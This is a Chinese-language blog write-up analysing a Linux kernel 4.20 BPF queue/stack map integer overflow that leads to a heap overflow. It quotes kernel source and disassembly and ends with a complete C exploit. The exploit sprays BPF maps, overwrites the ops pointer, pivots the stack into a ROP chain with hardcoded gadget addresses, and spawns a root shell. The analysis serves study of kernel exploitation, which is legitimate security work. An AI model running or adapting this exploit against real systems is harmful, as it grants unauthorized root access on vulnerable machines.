Linux kernel 4.20 BPF 整数溢出漏洞
196082 慢慢好起来

题目会放在:https://github.com/196082/196082

漏洞分析

kernel中的bpf模块主要用于用户态定义数据包过滤方法,如常见的抓包工具都基于此实现,并且用户态的Seccomp功能也与此功能相似。

整数溢出

该漏洞存在于BPF_MAP_CREATE功能中,并且可以看到处理的函数是map_create。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr __user *, uattr, unsigned int, size)
{
union bpf_attr attr = {};
int err;

if (sysctl_unprivileged_bpf_disabled && !capable(CAP_SYS_ADMIN))
return -EPERM;

err = bpf_check_uarg_tail_zero(uattr, sizeof(attr), size);
if (err)
return err;
size = min_t(u32, size, sizeof(attr));

/* copy attributes from user space, may be less than sizeof(bpf_attr) */
if (copy_from_user(&attr, uattr, size) != 0)
return -EFAULT;

err = security_bpf(cmd, &attr, size);
if (err < 0)
return err;

switch (cmd) {
case BPF_MAP_CREATE:
err = map_create(&attr);
break;
case BPF_MAP_LOOKUP_ELEM:
err = map_lookup_elem(&attr);
break;
case BPF_MAP_UPDATE_ELEM:
err = map_update_elem(&attr);
break;
// ...
}

可以看到下面使用find_and_alloc_map函数创建一个map结构体,并为其分配编号,然后寻找出来生成的map。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
static int map_create(union bpf_attr *attr)
{
int numa_node = bpf_map_attr_numa_node(attr);
struct bpf_map *map;
int f_flags;
int err;

err = CHECK_ATTR(BPF_MAP_CREATE);
if (err)
return -EINVAL;

f_flags = bpf_get_file_flag(attr->map_flags);
if (f_flags < 0)
return f_flags;

if (numa_node != NUMA_NO_NODE &&
((unsigned int)numa_node >= nr_node_ids ||
!node_online(numa_node)))
return -EINVAL;

/* find map type and init map: hashtable vs rbtree vs bloom vs ... */
map = find_and_alloc_map(attr);
if (IS_ERR(map))
return PTR_ERR(map);

err = bpf_obj_name_cpy(map->name, attr->map_name);
if (err)
goto free_map_nouncharge;

atomic_set(&map->refcnt, 1);
atomic_set(&map->usercnt, 1);

if (attr->btf_key_type_id || attr->btf_value_type_id) {
struct btf *btf;

if (!attr->btf_key_type_id || !attr->btf_value_type_id) {
err = -EINVAL;
goto free_map_nouncharge;
}

btf = btf_get_by_fd(attr->btf_fd);
if (IS_ERR(btf)) {
err = PTR_ERR(btf);
goto free_map_nouncharge;
}

err = map_check_btf(map, btf, attr->btf_key_type_id,
attr->btf_value_type_id);
if (err) {
btf_put(btf);
goto free_map_nouncharge;
}

map->btf = btf;
map->btf_key_type_id = attr->btf_key_type_id;
map->btf_value_type_id = attr->btf_value_type_id;
}

err = security_bpf_map_alloc(map);
if (err)
goto free_map_nouncharge;

err = bpf_map_init_memlock(map);
if (err)
goto free_map_sec;

err = bpf_map_alloc_id(map);
if (err)
goto free_map;

err = bpf_map_new_fd(map, f_flags);
if (err < 0) {
/* failed to allocate fd.
* bpf_map_put() is needed because the above
* bpf_map_alloc_id() has published the map
* to the userspace and the userspace may
* have refcnt-ed it through BPF_MAP_GET_FD_BY_ID.
*/
bpf_map_put(map);
return err;
}

return err;

free_map:
bpf_map_release_memlock(map);
free_map_sec:
security_bpf_map_free(map);
free_map_nouncharge:
btf_put(map->btf);
map->ops->map_free(map);
return err;
}

下面分析find_and_alloc_map函数,那么首先还是先看一下传参结构体的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
union bpf_attr {
struct { /* anonymous struct used by BPF_MAP_CREATE command */
__u32 map_type; /* one of enum bpf_map_type */
__u32 key_size; /* size of key in bytes */
__u32 value_size; /* size of value in bytes */
__u32 max_entries; /* max number of entries in a map */
__u32 map_flags; /* BPF_MAP_CREATE related
* flags defined above.
*/
__u32 inner_map_fd; /* fd pointing to the inner map */
__u32 numa_node; /* numa node (effective only if
* BPF_F_NUMA_NODE is set).
*/
char map_name[BPF_OBJ_NAME_LEN];
__u32 map_ifindex; /* ifindex of netdev to create on */
__u32 btf_fd; /* fd pointing to a BTF type data */
__u32 btf_key_type_id; /* BTF type_id of the key */
__u32 btf_value_type_id; /* BTF type_id of the value */
};
// ...
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static struct bpf_map *find_and_alloc_map(union bpf_attr *attr)
{
const struct bpf_map_ops *ops;
u32 type = attr->map_type;
struct bpf_map *map;
int err;

if (type >= ARRAY_SIZE(bpf_map_types))
return ERR_PTR(-EINVAL);
type = array_index_nospec(type, ARRAY_SIZE(bpf_map_types));
ops = bpf_map_types[type];
if (!ops)
return ERR_PTR(-EINVAL);

if (ops->map_alloc_check) {
err = ops->map_alloc_check(attr);
if (err)
return ERR_PTR(err);
}
if (attr->map_ifindex)
ops = &bpf_map_offload_ops;
map = ops->map_alloc(attr);
if (IS_ERR(map))
return map;
map->ops = ops;
map->map_type = type;
return map;
}

可以看到这里是首先根据type作为索引得到ops,最后再调用ops中的map_alloc函数但是可以注意到的是在数组中存在以下的ops结构体

1
2
3
4
5
6
7
8
9
10
11
12
const struct bpf_map_ops queue_map_ops = {
.map_alloc_check = queue_stack_map_alloc_check,
.map_alloc = queue_stack_map_alloc,
.map_free = queue_stack_map_free,
.map_lookup_elem = queue_stack_map_lookup_elem,
.map_update_elem = queue_stack_map_update_elem,
.map_delete_elem = queue_stack_map_delete_elem,
.map_push_elem = queue_stack_map_push_elem,
.map_pop_elem = queue_map_pop_elem,
.map_peek_elem = queue_map_peek_elem,
.map_get_next_key = queue_stack_map_get_next_key,
};

这里的漏洞也就存在于上述结构体中的queue_stack_map_alloc函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:FFFFFFFF8119D17A 44 89 F0                      mov     eax, r14d
.text:FFFFFFFF8119D17D 4C 8B 3C C5 80 83 02 82 mov r15, ds:qword_FFFFFFFF82028380[rax*8]

.rodata:FFFFFFFF82028380 qword_FFFFFFFF82028380 dq 0 ; DATA XREF: map_create+AD↑r
; ... ...
.rodata:FFFFFFFF82028410 dq offset unk_FFFFFFFF8210F0A0
.rodata:FFFFFFFF82028418 dq offset unk_FFFFFFFF82029B00
.rodata:FFFFFFFF82028420 dq offset unk_FFFFFFFF8202A680
.rodata:FFFFFFFF82028428 dq offset unk_FFFFFFFF82029B00
.rodata:FFFFFFFF82028430 dq offset unk_FFFFFFFF82029C40
.rodata:FFFFFFFF82028438 dq offset off_FFFFFFFF82029BA0
; ... ...
.rodata:FFFFFFFF82029BA0 dq offset queue_stack_map_alloc_check
.rodata:FFFFFFFF82029BA8 dq offset queue_stack_map_alloc
.rodata:FFFFFFFF82029BB0 dq 0
.rodata:FFFFFFFF82029BB8 dq offset queue_stack_map_free
.rodata:FFFFFFFF82029BC0 dq offset queue_stack_map_get_next_key
.rodata:FFFFFFFF82029BC8 dq 0
.rodata:FFFFFFFF82029BD0 dq offset queue_stack_map_lookup_elem
.rodata:FFFFFFFF82029BD8 dq offset queue_stack_map_update_elem
.rodata:FFFFFFFF82029BE0 dq offset queue_stack_map_delete_elem
.rodata:FFFFFFFF82029BE8 dq offset queue_stack_map_push_elem
.rodata:FFFFFFFF82029BF0 dq offset stack_map_pop_elem
.rodata:FFFFFFFF82029BF8 dq offset stack_map_peek_elem

可以看到只要计算偏移就可以成功修改ops为queue_stack_map_alloc函数,经过计算可得type为:(0xFFFFFFFF82028438 - 0xFFFFFFFF82028380)/8 = 0x17

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static struct bpf_map *queue_stack_map_alloc(union bpf_attr *attr)
{
int ret, numa_node = bpf_map_attr_numa_node(attr);
struct bpf_queue_stack *qs;
u64 size, queue_size, cost;

size = (u64) attr->max_entries + 1;
cost = queue_size = sizeof(*qs) + size * attr->value_size;
if (cost >= U32_MAX - PAGE_SIZE)
return ERR_PTR(-E2BIG);

cost = round_up(cost, PAGE_SIZE) >> PAGE_SHIFT;

ret = bpf_map_precharge_memlock(cost);
if (ret < 0)
return ERR_PTR(ret);

qs = bpf_map_area_alloc(queue_size, numa_node);
if (!qs)
return ERR_PTR(-ENOMEM);

memset(qs, 0, sizeof(*qs));

bpf_map_init_from_attr(&qs->map, attr);

qs->map.pages = cost;
qs->size = size;

raw_spin_lock_init(&qs->lock);

return &qs->map;
}

可以看到这里的cost其实就是等于sizeof(*qs) + (attr->value_size) * (attr->max_entries+1),并且这里的attr是我们可控的,如果我们控制attr->max_entries为-1那么这里申请的大小只有sizeof(struct bpf_queue_stack)并且这个size其实是管理堆块的大小,用于存储数据结构,后面的内容为数据存储结构。

1
2
3
4
5
6
7
8
9
void bpf_map_init_from_attr(struct bpf_map *map, union bpf_attr *attr)
{
map->map_type = attr->map_type;
map->key_size = attr->key_size;
map->value_size = attr->value_size;
map->max_entries = attr->max_entries;
map->map_flags = attr->map_flags;
map->numa_node = bpf_map_attr_numa_node(attr);
}

最后将用户传进来的attr赋值过去。最后生成id,并将id返回给用户。

堆溢出

可以看到在上面的系统调用中存在BPF_MAP_UPDATE_ELEM功能,其实现的函数为:map_update_elem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
static int map_update_elem(union bpf_attr *attr)
{
void __user *ukey = u64_to_user_ptr(attr->key);
void __user *uvalue = u64_to_user_ptr(attr->value);
int ufd = attr->map_fd;
struct bpf_map *map;
void *key, *value;
u32 value_size;
struct fd f;
int err;

if (CHECK_ATTR(BPF_MAP_UPDATE_ELEM))
return -EINVAL;

f = fdget(ufd);
map = __bpf_map_get(f);
if (IS_ERR(map))
return PTR_ERR(map);

if (!(f.file->f_mode & FMODE_CAN_WRITE)) {
err = -EPERM;
goto err_put;
}

key = __bpf_copy_key(ukey, map->key_size);
if (IS_ERR(key)) {
err = PTR_ERR(key);
goto err_put;
}

if (map->map_type == BPF_MAP_TYPE_PERCPU_HASH ||
map->map_type == BPF_MAP_TYPE_LRU_PERCPU_HASH ||
map->map_type == BPF_MAP_TYPE_PERCPU_ARRAY ||
map->map_type == BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE)
value_size = round_up(map->value_size, 8) * num_possible_cpus();
else
value_size = map->value_size;

err = -ENOMEM;
value = kmalloc(value_size, GFP_USER | __GFP_NOWARN);
if (!value)
goto free_key;

err = -EFAULT;
if (copy_from_user(value, uvalue, value_size) != 0)
goto free_value;

/* Need to create a kthread, thus must support schedule */
if (bpf_map_is_dev_bound(map)) {
err = bpf_map_offload_update_elem(map, key, value, attr->flags);
goto out;
} else if (map->map_type == BPF_MAP_TYPE_CPUMAP ||
map->map_type == BPF_MAP_TYPE_SOCKHASH ||
map->map_type == BPF_MAP_TYPE_SOCKMAP) {
err = map->ops->map_update_elem(map, key, value, attr->flags);
goto out;
}

// ...
}

可以看到这里是直接取出map中存储的value_size直接kmalloc一个堆块,然后从用户态copy内容到堆块上面。随后调用ops中的map_update_elem函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static int queue_stack_map_push_elem(struct bpf_map *map, void *value,
u64 flags)
{
struct bpf_queue_stack *qs = bpf_queue_stack(map);
unsigned long irq_flags;
int err = 0;
void *dst;

/* BPF_EXIST is used to force making room for a new element in case the
* map is full
*/
bool replace = (flags & BPF_EXIST);

/* Check supported flags for queue and stack maps */
if (flags & BPF_NOEXIST || flags > BPF_EXIST)
return -EINVAL;

raw_spin_lock_irqsave(&qs->lock, irq_flags);

if (queue_stack_map_is_full(qs)) {
if (!replace) {
err = -E2BIG;
goto out;
}
/* advance tail pointer to overwrite oldest element */
if (unlikely(++qs->tail >= qs->size))
qs->tail = 0;
}

dst = &qs->elements[qs->head * qs->map.value_size];
memcpy(dst, value, qs->map.value_size);

if (unlikely(++qs->head >= qs->size))
qs->head = 0;

out:
raw_spin_unlock_irqrestore(&qs->lock, irq_flags);
return err;
}
1
2
3
4
5
6
7
8
struct bpf_queue_stack {
struct bpf_map map;
raw_spinlock_t lock;
u32 head, tail;
u32 size; /* max_entries + 1 */

char elements[0] __aligned(8);
};

这里利用memcpy将堆块上的内容复制到目标地址。这里查看qs的定义可以看出来其实就是往管理堆块下面相邻的堆块进行写入,但是因为我们上面申请的size只是管理堆块的size这也就导致了我们可以进行堆溢出。

简单总结

其实从上面分析到这里可以看出来这里的功能主要是要干嘛的,并且分析出来qs的结构。这里简化一下结构体其实就是类似于msg_msg的一种结构:

1
2
3
4
struct {
manager;
data;
}

不过我们每次进行update的时候只能够修改data中的一个小块,而这些小块又被分成了attr->max_entries + 1个,并且每个小块的size为:attr->value_size

利用分析

这里主要利用堆风水使我们分配的两个object相邻,接着修改掉ops指针,劫持函数实现站栈迁移即可。

这里使用到的gadget在 modify_ldt利用 中提到过,不熟悉的可以去看看这里就不再赘述。

综上,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#define _GNU_SOURCE
#include <err.h>
#include <inttypes.h>
#include <sched.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <time.h>
#define SPRAY_NUMBER 14
#ifndef __NR_bpf
#define __NR_bpf 321
#endif

void errExit(char *err_msg)
{
puts(err_msg);
exit(-1);
}

size_t user_cs, user_ss, user_sp, user_rflags;
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*]status has been saved.");
}

void get_shell()
{
if (getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

int main()
{
signal(SIGSEGV, get_shell);
save_status();
unsigned long swapgs = 0xffffffff81c00d5a;
unsigned long iretq = 0xffffffff8106d8f4;
unsigned long stack_pivot_gadget = 0xffffffff81954dc8;
char *buf = malloc(0x4000);
long int res;
unsigned long fake_ops[0x1000] = {0};
unsigned long pointer[0x1000] = {0};
char *rop_addr;

memset(buf, 0, sizeof(buf));
*(unsigned int *)buf = 0x17;
*(unsigned int *)(buf + 4) = 0;
*(unsigned int *)(buf + 8) = 0x40;
*(unsigned int *)(buf + 12) = -1;
*(unsigned int *)(buf + 16) = 0;
*(unsigned int *)(buf + 20) = -1;
res = syscall(__NR_bpf, 0, buf, 0x2c);
if (res == -1)
errExit("BPF_MAP_CREATE error!");

unsigned long victim[SPRAY_NUMBER];
for (int i = 0; i < SPRAY_NUMBER; i++)
{
victim[i] = syscall(__NR_bpf, 0, buf, 0x2c);
}
printf("spray finished!\n");

fake_ops[2] = stack_pivot_gadget;
pointer[6] = fake_ops;
*(unsigned int *)buf = res;
*(unsigned int *)(buf + 4) = 0;
*(unsigned long *)(buf + 8) = 0;
*(unsigned long *)(buf + 16) = pointer;
*(unsigned long *)(buf + 24) = 2;
syscall(__NR_bpf, 2, buf, 0x20);
printf("changed ops\n");
rop_addr = mmap(0x81954000, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
int idx = 0;
*(unsigned long *)(rop_addr + 0x143c + (idx++ * 8)) = 0xffffffff81029c71;
*(unsigned long *)(rop_addr + 0x143c + (idx++ * 8)) = 0x6f0;
*(unsigned long *)(rop_addr + 0x143c + (idx++ * 8)) = 0xffffffff810013b9;
*(unsigned long *)(rop_addr + 0x143c + (idx++ * 8)) = 0;
*(unsigned long *)(rop_addr + 0x143c + (idx++ * 8)) = 0xFFFFFFFF810E3D40;
*(unsigned long *)(rop_addr + 0x143c + (idx++ * 8)) = 0xffffffff81001c50;
*(unsigned long *)(rop_addr + 0x143c + (idx++ * 8)) = 0xffffffff810013b9;
*(unsigned long *)(rop_addr + 0x143c + (idx++ * 8)) = 0xffffffff81264e0b;
*(unsigned long *)(rop_addr + 0x143c + (idx++ * 8)) = 0xFFFFFFFF810E3AB0;
*(unsigned long *)(rop_addr + 0x143c + (idx++ * 8)) = 0xffffffff81c00d5a;
*(unsigned long *)(rop_addr + 0x143c + (idx++ * 8)) = 0x246;
*(unsigned long *)(rop_addr + 0x143c + (idx++ * 8)) = 0xffffffff8106d8f4;
*(unsigned long *)(rop_addr + 0x143c + (idx++ * 8)) = (uint64_t)get_shell;
*(unsigned long *)(rop_addr + 0x143c + (idx++ * 8)) = (uint64_t)user_cs;
*(unsigned long *)(rop_addr + 0x143c + (idx++ * 8)) = (uint64_t)user_rflags;
*(unsigned long *)(rop_addr + 0x143c + (idx++ * 8)) = (uint64_t)user_sp;
*(unsigned long *)(rop_addr + 0x143c + (idx++ * 8)) = (uint64_t)user_ss;
*(unsigned long *)(0x81954dc8) = 0xffffffff81029c71;

for (int i = 0; i < SPRAY_NUMBER; i++)
{
close(victim[i]);
}

return 0;
}

image-20221002145034272


参考链接:http://p4nda.top/2019/01/02/kernel-bpf-overflow/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量